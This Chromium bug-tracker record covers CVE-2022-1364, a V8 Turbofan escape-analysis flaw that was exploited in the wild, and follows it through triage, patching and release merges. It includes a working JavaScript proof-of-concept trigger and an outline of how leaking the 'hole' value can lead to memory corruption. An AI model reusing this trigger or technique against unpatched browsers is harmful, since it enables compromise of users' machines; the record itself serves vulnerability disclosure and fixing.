



chromium ▾

New issue

Open issues ▾

🔍 Search chromium issue ▾ ⚙️

Sign in

★ Starred by 6 users

Owner:

[tebbi@chromium.org](mailto:tebbi@chromium.org)

CC:

[mache...@chromium.org](mailto:mache...@chromium.org)

[rzanoni@google.com](mailto:rzanoni@google.com)



[billyleonard@google.com](mailto:billyleonard@google.com)

[leszeks@chromium.org](mailto:leszeks@chromium.org)

[saelo@google.com](mailto:saelo@google.com)



[weihengchen@google.com](mailto:weihengchen@google.com)

[tebbi@chromium.org](mailto:tebbi@chromium.org)

[ecmziegler@chromium.org](mailto:ecmziegler@chromium.org)

[adetaylor@google.com](mailto:adetaylor@google.com)

[verwa...@chromium.org](mailto:verwa...@chromium.org)

[amyressler@chromium.org](mailto:amyressler@chromium.org)

[thibaudm@chromium.org](mailto:thibaudm@chromium.org)

[clemensb@chromium.org](mailto:clemensb@chromium.org)



[shuntley@google.com](mailto:shuntley@google.com)



[noelutz@google.com](mailto:noelutz@google.com)

[vahl@chromium.org](mailto:vahl@chromium.org)



[ecmziegler@google.com](mailto:ecmziegler@google.com)

Status:

Verified (*Closed*)

Components:

[Blink](#)>[JavaScript](#)>[Compiler](#)>[Turbofan](#)

Modified:

Aug 22, 2022

Backlog-Rank:

----

Editors:

----

EstimatedDays:

----

NextAction:

----

OS:

[Linux](#), [Android](#), [Windows](#), [Chrome](#), [Mac](#)

Pri:

0

Type:

[Bug-Security](#)

M-100

Security\_Severity-High

ReleaseBlock-Stable

allpublic

ClusterFuzz-Verified

Test-Predator-Auto-Owner

CVE\_description-submitted

Target-100

FoundIn-100

FoundIn-101

**Issue 1315901: Security: [0-day] JIT optimisation issue**Reported by [cleci...@google.com](#) on Wed, Apr 13, 2022, 5:03 AM EDT

Project Member

[↪](#) Code

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

**## VULNERABILITY DETAILS**

Seems to be a JIT optimisation issue in Turbofan (confirmed by saelo@) but we don't have a full root cause analysis. Filling this bug now as it is used in the wild and we have a poc triggering the issue.

**## VERSION**

Chrome Version: 100.0.4896.79 + HEAD

**## REPRODUCTION CASE**

...

```
function foo(bug) {
  function C(z) {
    Error.prepareStackTrace = function(t, B) {
      return B[z].getThis();
    };
    let p = Error().stack;
    Error.prepareStackTrace = null;
    return p;
  }
  function J() {}
  var optim = false;
  var opt = new Function(
    'a', 'b', 'c',
    'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++){return;}b.d(a,b,1);return}' +
    'g++;'.repeat(70));
  var e = null;
  J.prototype.d = new Function(
    'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
  J.prototype.a = new Function('a', 'a.b(0,a)');
  J.prototype.b = new Function(
    'a', 'b',
    'b.c();if(a){' +
    'g++;'.repeat(70) + '}');
  J.prototype.c = function() {
    if (optim) {
      var z = C(3);
      var p = C(3);
      z[0] = 0;
      e = {M: z, C: p};
    }
  };
  var a = new J();
```

```
// jit optim
if (bug) {
  for (var V = 0; 1E4 > V; V++) {
    opt(0 == V % 4 ? 1 : 4, a, 1);
  }
}
optim = true;
opt(1, a, 1);
return e;
}

e1 = foo(false);
console.log(e1.M === e1.C); // prints true.
e2 = foo(true);
console.log(e2.M === e2.C); // should be true as above but prints false.
...

```

## CREDIT INFORMATION

Clément Lecigne of Google's Threat Analysis Group

**poc.js**

1.1 KB [View](#) [Download](#)

[Comment 1](#) by [saelo@google.com](#) on Wed, Apr 13, 2022, 5:08 AM EDT Project Member

**Cc:** [thibaudm@chromium.org](#) [clemensb@chromium.org](#) [tebbi@chromium.org](#) [ecmziegler@chromium.org](#)  
[adetaylor@google.com](#)

**Components:** Blink>JavaScript>Compiler>Turbofan

Taking a closer look at the trigger now. The sample does print `true true` if run with `--no-opt`, so it's likely a turbofan issue.

[Comment 2](#) by [saelo@google.com](#) on Wed, Apr 13, 2022, 5:55 AM EDT Project Member

What seems to be happening here is that the code somehow ends up creating two different JSArgumentsObjects (`e2.M` and `e2.C`) which point to the same `FixedArray` elements backing store. This can be seen by adding `%DebugPrint` statements at the end of the repro case:

```
...
===== e2.M =====

DebugPrint: 0x85700257e05: [JS_ARGUMENTS_OBJECT_TYPE] in OldSpace
...
- elements: 0x0857000d9a49 <FixedArray[3]>

...

===== e2.C =====

DebugPrint: 0x85700257e35: [JS_ARGUMENTS_OBJECT_TYPE] in OldSpace
...
- elements: 0x0857000d9a49 <FixedArray[3]>

...

```

...

It seems this can then be used to cause other issues. For example, by deleting e.g. ``e2.M[0]`` then accessing ``e2.C[0]`` you can leak the "hole" value, which can probably be used to cause memory corruption (see e.g. [issue-1263462](#)).

**Comment 3** by [cleci...@google.com](#) on Wed, Apr 13, 2022, 6:59 AM EDT Project Member

**Cc:** [noelutz@google.com](#)

**Comment 4** by [saelo@google.com](#) on Wed, Apr 13, 2022, 7:31 AM EDT Project Member

**Labels:** Pri-0

**Comment 5** by [ClusterFuzz](#) on Wed, Apr 13, 2022, 8:11 AM EDT Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=5432723191824384>.

**Comment 6** by [saelo@google.com](#) on Wed, Apr 13, 2022, 8:20 AM EDT Project Member

The testcase uploaded to clusterfuzz half-exploits the bug (relevant code copied from [issue-1263462](#)) to force a crash in both debug and release builds by leaking the hole value and using it to create a corrupted JSMMap object.

**Comment 7** by [ClusterFuzz](#) on Wed, Apr 13, 2022, 8:29 AM EDT Project Member

**Labels:** OS-Mac OS-Linux

**Comment 8** by [ClusterFuzz](#) on Wed, Apr 13, 2022, 8:47 AM EDT Project Member

**Status:** Assigned (was: Unconfirmed)

**Owner:** [emrich@google.com](#)

**Labels:** Test-Predator-Auto-Owner

Automatically assigning owner based on suspected regression changelist

<https://chromium.googlesource.com/v8/v8/+b4fe3473e4c9e6adc2d7439876e6752c45cdf04> ([dict-proto] make ordered hash tables use InternalIndex for indices).

If this is incorrect, please let us know why and apply the Test-Predator-Wrong-CLs label. If you aren't the correct owner for this issue, please unassign yourself as soon as possible so it can be re-triaged.

**Comment 9** by [saelo@google.com](#) on Wed, Apr 13, 2022, 9:00 AM EDT Project Member

**Owner:** [tebbi@chromium.org](#)

**Labels:** Security\_Severity-High FoundIn-100

The bisected CL is probably just the one that made this way of exploiting the "hole" possible, not the one actually introducing the bug. Reassigning to [tebbi@](#) who has more knowledge of Turbofan and the escape analysis pass (to which this bug seems to be related) for now, but feel free to reassign!

**Comment 10** by [sheriffbot](#) on Wed, Apr 13, 2022, 9:04 AM EDT Project Member

**Labels:** Security\_Impact-Extended

**Comment 11** by [ClusterFuzz](#) on Wed, Apr 13, 2022, 9:07 AM EDT Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=6447647451578368>.

[Comment 12](#) by [ClusterFuzz](#) on Wed, Apr 13, 2022, 9:34 AM EDT Project Member

**Labels:** FoundIn-101 FoundIn-102

Detailed Report: <https://clusterfuzz.com/testcase?key=6447647451578368>

Fuzzer: None

Job Type: linux\_d8\_dbg

Platform Id: linux

Crash Type: DCHECK failure

Crash Address:

Crash State:

!value->IsTheHole(isolate) in objects.cc

Sanitizer: address (ASAN)

Regressed: [https://clusterfuzz.com/revisions?job=linux\\_d8\\_dbg&range=49094:49095](https://clusterfuzz.com/revisions?job=linux_d8_dbg&range=49094:49095)

Reproducer Testcase: [https://clusterfuzz.com/download?testcase\\_id=6447647451578368](https://clusterfuzz.com/download?testcase_id=6447647451578368)

To reproduce this, please build the target in this report and run it against the reproducer testcase. Please use the GN arguments provided at bottom of this report when building the binary.

If you have trouble reproducing, please also export the environment variables listed under "[Environment]" in the crash stacktrace.

If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFveHj6E5jz5> so we can improve.

[Comment 13](#) by [saelo@google.com](mailto:saelo@google.com) on Wed, Apr 13, 2022, 10:24 AM EDT Project Member

**Cc:** verwa...@chromium.org leszek@chromium.org

[Comment 14](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Wed, Apr 13, 2022, 11:03 AM EDT Project Member

**Cc:** amyressler@chromium.org

[Comment 15](#) by [ClusterFuzz](#) on Wed, Apr 13, 2022, 12:19 PM EDT Project Member

Detailed Report: <https://clusterfuzz.com/testcase?key=5432723191824384>

Fuzzer: None

Job Type: linux\_d8\_dbg

Platform Id: linux

Crash Type: DCHECK failure

Crash Address:

Crash State:

table->NumberOfDeletedElements() == removed\_holes\_index in ordered-hash-table.cc

Sanitizer: address (ASAN)

Regressed: [https://clusterfuzz.com/revisions?job=linux\\_d8\\_dbg&range=70872:70873](https://clusterfuzz.com/revisions?job=linux_d8_dbg&range=70872:70873)

Reproducer Testcase: [https://clusterfuzz.com/download?testcase\\_id=5432723191824384](https://clusterfuzz.com/download?testcase_id=5432723191824384)

To reproduce this, please build the target in this report and run it against the reproducer testcase. Please use the GN arguments provided at bottom of this report when building the binary.

If you have trouble reproducing, please also export the environment variables listed under "[Environment]" in the crash stacktrace.

If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFveHj6E5jz5> so we can improve.

**Comment 16** by [sheriffbot](#) on Wed, Apr 13, 2022, 12:47 PM EDT Project Member

**Labels:** M-100 Target-100

Setting milestone and target because of high severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 17** by [gov...@chromium.org](#) on Wed, Apr 13, 2022, 12:57 PM EDT Project Member

**Labels:** OS-Android OS-Windows

**Comment 18** by [gov...@chromium.org](#) on Wed, Apr 13, 2022, 1:04 PM EDT Project Member

**Labels:** ReleaseBlock-Stable M-101 Target-101

**Comment 19** by [sheriffbot](#) on Wed, Apr 13, 2022, 1:07 PM EDT Project Member

**Labels:** -Pri-0 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 20** by [Git Watcher](#) on Wed, Apr 13, 2022, 1:31 PM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940>

commit [8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Apr 13 16:30:36 2022

[compiler] mark receiver and function as escaping

~~Bug: chromium:1315901~~

Change-Id: [Ic44bfcae32aba202ba25c5f59fe579214a444584](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3584117>

Reviewed-by: Leszek Swirski <[leszeks@chromium.org](mailto:leszeks@chromium.org)>

Commit-Queue: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#79968}

[modify] <https://crrev.com/8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940/src/compiler/escape-analysis.cc>

**Comment 21** by [Git Watcher](#) on Wed, Apr 13, 2022, 1:37 PM EDT Project Member

**Labels:** merge-merged-5002

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+1da81b4637cdb4d16bb7c13c5160a4e57debfe9c>

commit [1da81b4637cdb4d16bb7c13c5160a4e57debfe9c](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Apr 13 16:30:36 2022

[compiler] mark receiver and function as escaping

~~Bug: chromium:1315901~~

Change-Id: Ic44bfcae32aba202ba25c5f59fe579214a444584

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3584117>

Reviewed-by: Leszek Swirski <[leszeks@chromium.org](mailto:leszeks@chromium.org)>

Commit-Queue: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#79968}

(cherry picked from commit [8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940](#))

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3585782>

Reviewed-by: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

[modify] <https://crrev.com/1da81b4637cdb4d16bb7c13c5160a4e57debfe9c/src/compiler/escape-analysis.cc>

**Comment 22** by [amyressler@chromium.org](#) on Wed, Apr 13, 2022, 2:00 PM EDT Project Member

**Status:** Fixed (was: Assigned)

**Labels:** Merge-Request-100 Merge-Request-101

hi tebbi@, thank you so much for the quick fix and merge for Canary.

Following up with coordinating with the Release Team, please prepare a merge to the V8 release branch for M100 (10.0-lkgr), we would like this to get merged as soon as possible so we can ensure the mini branch for the emergency release is picked up. Thanks!

**Comment 23** by [sheriffbot](#) on Wed, Apr 13, 2022, 2:00 PM EDT Project Member

**Labels:** LTS-Merge-Candidate

LTS Milestone M96

This issue has been flagged as a merge candidate for Chrome OS' LTS channel. If selected, our merge team will handle any additional merges. To help us determine if this issue requires a merge to LTS, please answer this short questionnaire:

1. Was this issue a regression for the milestone it was found in?
2. Is this issue related to a change or feature merged after the latest LTS Milestone?

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 24** by [Git Watcher](#) on Wed, Apr 13, 2022, 2:34 PM EDT Project Member

**Labels:** merge-merged-10.0

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+2c8d797fee04bc385c5a866235a88eb62c39ffb7>

commit [2c8d797fee04bc385c5a866235a88eb62c39ffb7](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Apr 13 16:30:36 2022

Merged: [compiler] mark receiver and function as escaping

~~Bug: chromium:1315904~~

(cherry picked from commit [8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940](#))

Change-Id: I02677d3fd11f5513d5d1235279acc89ded49e762

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3585902>

Owners-Override: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Reviewed-by: Dominik Inführ <[dinfuehr@chromium.org](mailto:dinfuehr@chromium.org)>

Cr-Commit-Position: refs/branch-heads/10.0@{#28}

Cr-Branched-From: [6ea73a738c467dc26abbbe84e27a36aac1c6e119](#)-refs/heads/10.0.139@{#1}

Cr-Branched-From: [ccc689011280419901e6ee42cae39980c0e96030](#)-refs/heads/main@{#79131}

[modify] <https://crrev.com/2c8d797fee04bc385c5a866235a88eb62c39ffb7/src/compiler/escape-analysis.cc>

Comment 25 by [Git Watcher](#) on Wed, Apr 13, 2022, 2:35 PM EDT Project Member

**Labels:** merge-merged-10.1

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+bc8f9a2d23d4622637fdb6d6095bf2061302e983>

commit [bc8f9a2d23d4622637fdb6d6095bf2061302e983](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Apr 13 16:30:36 2022

[compiler] mark receiver and function as escaping

~~Bug: chromium:1315904~~

(cherry picked from commit [8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940](#))

Change-Id: I17eee86e6d5284c64a19ee019cb3df38a71b4cf8

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3585903>

Reviewed-by: Dominik Inführ <[dinfuehr@chromium.org](mailto:dinfuehr@chromium.org)>

Cr-Commit-Position: refs/branch-heads/10.1@{#20}

Cr-Branched-From: [b003970395b7efcc309eb30b4ca06dd8385acd55](#)-refs/heads/10.1.124@{#1}

Cr-Branched-From: [e62f556862624103ea1da5b9dcef9b216832033b](#)-refs/heads/main@{#79503}

[modify] <https://crrev.com/bc8f9a2d23d4622637fdb6d6095bf2061302e983/src/compiler/escape-analysis.cc>

Comment 26 by [gmpritchard@google.com](#) on Wed, Apr 13, 2022, 2:52 PM EDT Project Member

Can someone please confirm if this needs to be merged to 9.6 (LTS) as well?

Comment 27 by [rzanoni@google.com](#) on Wed, Apr 13, 2022, 3:04 PM EDT Project Member

**Cc:** [rzanoni@google.com](mailto:rzanoni@google.com)

**Labels:** LTS-Evaluating-96



Comment 28 by amyressler@chromium.org on Wed, Apr 13, 2022, 4:17 PM EDT Project Member

Labels: Pri-0

Comment 29 by tebbi@chromium.org on Wed, Apr 13, 2022, 4:25 PM EDT Project Member

The bug is around since at least 2017, so pretty sure this also affects 9.6 LTS.

Comment 30 by ClusterFuzz on Wed, Apr 13, 2022, 4:35 PM EDT Project Member

Detailed Report: <https://clusterfuzz.com/testcase?key=5432723191824384>

Fuzzer: None

Job Type: linux\_d8\_dbg

Platform Id: linux

Crash Type: DCHECK failure

Crash Address:

Crash State:

table->NumberOfDeletedElements() == removed\_holes\_index in ordered-hash-table.cc

Sanitizer: address (ASAN)

Regressed: [https://clusterfuzz.com/revisions?job=linux\\_d8\\_dbg&range=70872:70873](https://clusterfuzz.com/revisions?job=linux_d8_dbg&range=70872:70873)

Fixed: [https://clusterfuzz.com/revisions?job=linux\\_d8\\_dbg&range=79967:79968](https://clusterfuzz.com/revisions?job=linux_d8_dbg&range=79967:79968)

Reproducer Testcase: [https://clusterfuzz.com/download?testcase\\_id=5432723191824384](https://clusterfuzz.com/download?testcase_id=5432723191824384)

To reproduce this, please build the target in this report and run it against the reproducer testcase. Please use the GN arguments provided at bottom of this report when building the binary.

If you have trouble reproducing, please also export the environment variables listed under "[Environment]" in the crash stacktrace.

If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFveHj6E5jz5> so we can improve.

Comment 31 by gov...@chromium.org on Wed, Apr 13, 2022, 6:55 PM EDT Project Member

Labels: -Merge-Request-100 -Merge-Request-101 merge-merged-100 merge-merged-101

Already merged to M100 and M101 at #24 and #25.

Comment 32 by sheriffbot on Thu, Apr 14, 2022, 3:35 AM EDT Project Member

Labels: V8-postmortem

This high+ V8 security issue with stable impact requires a lightweight post mortem. Please take some time to answer questions asked in this form [1] to help us improve V8 security. [1]

[https://docs.google.com/forms/d/e/1FAIpQLSdSMCiEpIFLLFKMbgtuIK1sf1B-idQmkFaA4XP2Rz5mN1cqWg/viewform?usp=pp\\_url&entry.307501673=1315901&entry.364066060=Internal&entry.958145677=Android&entry.958145677=Chrome&entry.958145677=Linux&entry.958145677=Mac&entry.958145677=Windows&entry.763880440=Extended&entry.1678852700=High&entry.763402679=Blink>JavaScript>Compiler>Turbofan&entry.975983575=tebbi@chromium.org](https://docs.google.com/forms/d/e/1FAIpQLSdSMCiEpIFLLFKMbgtuIK1sf1B-idQmkFaA4XP2Rz5mN1cqWg/viewform?usp=pp_url&entry.307501673=1315901&entry.364066060=Internal&entry.958145677=Android&entry.958145677=Chrome&entry.958145677=Linux&entry.958145677=Mac&entry.958145677=Windows&entry.763880440=Extended&entry.1678852700=High&entry.763402679=Blink>JavaScript>Compiler>Turbofan&entry.975983575=tebbi@chromium.org) Please ensure to copy the full link, as otherwise some issue meta data might not be populated automatically.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 33 by [vahl@chromium.org](mailto:vahl@chromium.org) on Thu, Apr 14, 2022, 4:12 AM EDT Project Member

No need to merge to M102 either as the patch landed before the V8 10.2 branch was created  
<https://chromium.googlesource.com/v8/v8/+log/refs/heads/10.2-lkgr> included the fix

Comment 34 by [tebbi@chromium.org](mailto:tebbi@chromium.org) on Thu, Apr 14, 2022, 4:25 AM EDT Project Member

It might be possible to circumvent yesterday's patch (kudos to saelo@ for spotting this). If it's possible, it's probably quite some work to get it working, because it requires applying `.getThis`` on an inlined builtin continuation frame (like `Array.prototype.forEach`), so for example it can't be an arguments object anymore.

In any case, I prepared an improved patch that should land in V8 within half an hour (<https://chromium-review.googlesource.com/c/v8/v8/+3585948>).

Comment 35 by [tebbi@chromium.org](mailto:tebbi@chromium.org) on Thu, Apr 14, 2022, 4:27 AM EDT Project Member

How should we proceed with the expanded patch regarding back-merges and releases?

Comment 36 by [Git Watcher](#) on Thu, Apr 14, 2022, 4:45 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+b32605ee8d5137024d335e0fa2a5c0a2529f7881>

commit [b32605ee8d5137024d335e0fa2a5c0a2529f7881](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Thu Apr 14 07:57:08 2022

[compiler] mark receiver and function as escaping, expanded to continuation frames

~~Bug: chromium:1315901~~

Change-Id: I99ed1562356676f54e69a832c8e862c1cf74fb07

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3585948>

Reviewed-by: Samuel Groß <[saelo@chromium.org](mailto:saelo@chromium.org)>

Commit-Queue: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#79984}

[modify] <https://crrev.com/b32605ee8d5137024d335e0fa2a5c0a2529f7881/src/compiler/escape-analysis.cc>

Comment 37 by [saelo@google.com](mailto:saelo@google.com) on Thu, Apr 14, 2022, 5:36 AM EDT Project Member

Our current assessment is that the bug is no longer exploitable when only the first patch is applied. However, without the 2nd patch, a variant of the bug still exists, and can be triggered with fairly small modifications, but seemingly can no longer be exploited: while the broken objects are still created by the engine, they aren't exposed to the user script, so can't be abused to leak the hole or similar things.

However, even if the 2nd patch may not be strictly necessary, we'd definitely be in favor of also back-merging that patch to be on the safe side.

Comment 38 by [rzanoni@google.com](mailto:rzanoni@google.com) on Thu, Apr 14, 2022, 8:32 AM EDT Project Member

**Labels:** -LTS-Evaluating-96 LTS-Merge-Request-96

Comment 39 by [sheriffbot](#) on Thu, Apr 14, 2022, 8:36 AM EDT Project Member

**Labels:** -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 40** by [rzanoni@google.com](#) on Thu, Apr 14, 2022, 8:42 AM EDT Project Member

1. Just <https://crrev.com/c/3584531>
2. Low, no conflicts
3. Merged to main on Apr 13
4. Yes

**Comment 41** by [gmpritchard@google.com](#) on Thu, Apr 14, 2022, 11:13 AM EDT Project Member

**Labels:** -LTS-Merge-Candidate LTS-Merge-Delayed-96

@rzanoni let's wait until it gets pushed in Stable. I'll approve right after that.

**Comment 42** by [amyressler@chromium.org](#) on Thu, Apr 14, 2022, 11:27 AM EDT Project Member

Thank you saelo@ for the finding (+verwaest@ and tebbi@ that helped lead to the analysis for the fix) && tebbi@ for the quick landing of the second patch.

Given that the original issue is being actively exploited ITW, the current plan is to release the original fix in an emergency release today (since it has been merged and can be released today as per the original plan) as the risk of leaving this unpatched longer seems much higher than waiting for the new patch as per [comment #37](#) and in our off-bug discussion.

In parallel, the new patch ([comment #36](#)) can be allowed sufficient bake time on Canary and then backmerged to M100 and M101 next week to go out in the next releases of each.

**Comment 43** by [ClusterFuzz](#) on Thu, Apr 14, 2022, 11:55 AM EDT Project Member

**Status:** Verified (was: Fixed)

**Labels:** ClusterFuzz-Verified

ClusterFuzz testcase 6447647451578368 is verified as fixed in [https://clusterfuzz.com/revisions?job=linux\\_d8\\_dbg&range=79967:79968](https://clusterfuzz.com/revisions?job=linux_d8_dbg&range=79967:79968)

If this is incorrect, please add the ClusterFuzz-Wrong label and re-open the issue.

**Comment 44** by [amyressler@chromium.org](#) on Thu, Apr 14, 2022, 1:36 PM EDT Project Member

**Labels:** Release-3-M100

**Comment 45** by [amyressler@google.com](#) on Thu, Apr 14, 2022, 1:45 PM EDT Project Member

**Labels:** CVE-2022-1364 CVE\_description-missing

**Comment 46** by [adetaylor@google.com](#) on Fri, Apr 15, 2022, 1:16 PM EDT Project Member

**Cc:** weihengchen@google.com

[Comment 47](#) by [gmpritchard@google.com](#) on Fri, Apr 15, 2022, 1:29 PM EDT Project Member

**Labels:** -LTS-Merge-Review-96 -LTS-Merge-Delayed-96 LTS-Merge-Approved-96

[Comment 48](#) by [sheriffbot](#) on Fri, Apr 15, 2022, 1:40 PM EDT Project Member

**Labels:** -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

[Comment 49](#) by [Git Watcher](#) on Mon, Apr 18, 2022, 9:57 AM EDT Project Member

**Labels:** merge-merged-9.6

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+b2d3ef69ef992d2dc2f1733e3c17c361357516dd>

commit [b2d3ef69ef992d2dc2f1733e3c17c361357516dd](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Apr 13 16:30:36 2022

[M96-LTS][compiler] mark receiver and function as escaping

(cherry picked from commit [8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940](#))

~~Bug: chromium:1315904~~

No-Try: true

No-Presubmit: true

No-Tree-Checks: true

Change-Id: [Ic44bfcae32aba202ba25c5f59fe579214a444584](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3584117>

Commit-Queue: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Cr-Original-Commit-Position: refs/heads/main@{#79968}

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3584531>

Reviewed-by: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Reviewed-by: Nico Hartmann <[nicohartmann@chromium.org](mailto:nicohartmann@chromium.org)>

Commit-Queue: Roger Felipe Zandoni da Silva <[rzanoni@google.com](mailto:rzanoni@google.com)>

Cr-Commit-Position: refs/branch-heads/9.6@{#62}

Cr-Branched-From: [0b7bda016178bf438f09b3c93da572ae3663a1f7](#)-refs/heads/9.6.180@{#1}

Cr-Branched-From: [41a5a247d9430b953e38631e88d17790306f7a4c](#)-refs/heads/main@{#77244}

[modify] <https://crrev.com/b2d3ef69ef992d2dc2f1733e3c17c361357516dd/src/compiler/escape-analysis.cc>

[Comment 50](#) by [rzanoni@google.com](#) on Mon, Apr 18, 2022, 9:58 AM EDT Project Member

**Labels:** -LTS-Merge-Approved-96 LTS-Merge-Merged-96

[Comment 51](#) by [amyressler@chromium.org](#) on Mon, Apr 18, 2022, 9:03 PM EDT Project Member

hi tebbi@ -- rather than adding new merge labels, I just wanted to check in that the secondary patch got/gets merged to M101 and M100 now that it had super sufficient bake time in Canary over the long weekend in the EU. I don't believe this has been achieved just yet, so could you please merge the secondary patch to 10.1-lkgr and 10.0-lkgr ASAP so that patch can be included in the Tuesday PDT release cut for M101 Stable and M100 Extended -- thank you!

Comment 52 by [Git Watcher](#) on Tue, Apr 19, 2022, 3:16 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+5bfe521a1c4165ae7afae68c32e105e945e6af35>

commit [5bfe521a1c4165ae7afae68c32e105e945e6af35](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Thu Apr 14 07:57:08 2022

Merged: [compiler] mark receiver and function as escaping, expanded to continuation frames

~~Bug: chromium:1315904~~

(cherry picked from commit [b32605ee8d5137024d335e0fa2a5c0a2529f7881](#))

Change-Id: I3009b7d1e7dc6c215d6c4b1ccb03f30aa276e847

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3591333>

Reviewed-by: Lutz Vahl <[vahl@chromium.org](mailto:vahl@chromium.org)>

Cr-Commit-Position: refs/branch-heads/10.1@{#22}

Cr-Branched-From: [b003970395b7efcc309eb30b4ca06dd8385acd55](#)-refs/heads/10.1.124@{#1}

Cr-Branched-From: [e62f556862624103ea1da5b9dcef9b216832033b](#)-refs/heads/main@{#79503}

[modify] <https://crrev.com/5bfe521a1c4165ae7afae68c32e105e945e6af35/src/compiler/escape-analysis.cc>

Comment 53 by [Git Watcher](#) on Tue, Apr 19, 2022, 3:17 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+1b752a59e5d37ba51ec2b89fb193b0339b1bcae3>

commit [1b752a59e5d37ba51ec2b89fb193b0339b1bcae3](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Thu Apr 14 07:57:08 2022

Merged: [compiler] mark receiver and function as escaping, expanded to continuation frames

~~Bug: chromium:1315904~~

(cherry picked from commit [b32605ee8d5137024d335e0fa2a5c0a2529f7881](#))

Change-Id: If37786578e47e31acc4ccf40bb82175c3ee038cc

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3592754>

Reviewed-by: Lutz Vahl <[vahl@chromium.org](mailto:vahl@chromium.org)>

Cr-Commit-Position: refs/branch-heads/10.0@{#30}

Cr-Branched-From: [6ea73a738c467dc26abbbe84e27a36aac1c6e119](#)-refs/heads/10.0.139@{#1}

Cr-Branched-From: [ccc689011280419901e6ee42cae39980c0e96030](#)-refs/heads/main@{#79131}

[modify] <https://crrev.com/1b752a59e5d37ba51ec2b89fb193b0339b1bcae3/src/compiler/escape-analysis.cc>

Comment 54 by [gmpritchard@google.com](mailto:gmpritchard@google.com) on Tue, Apr 19, 2022, 10:24 AM EDT Project Member

**Labels:** LTS-Merge-Approved-96

Comment 55 by [Git Watcher](#) on Wed, Apr 27, 2022, 4:19 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+66c8de2cdac10cad9e622ecededda411b44ac5b3>

commit [66c8de2cdac10cad9e622ecededda411b44ac5b3](#)

Author: Samuel Groß <[saelo@chromium.org](mailto:saelo@chromium.org)>

Date: Tue Apr 19 12:49:01 2022

Harden Map.prototype.delete and related methods

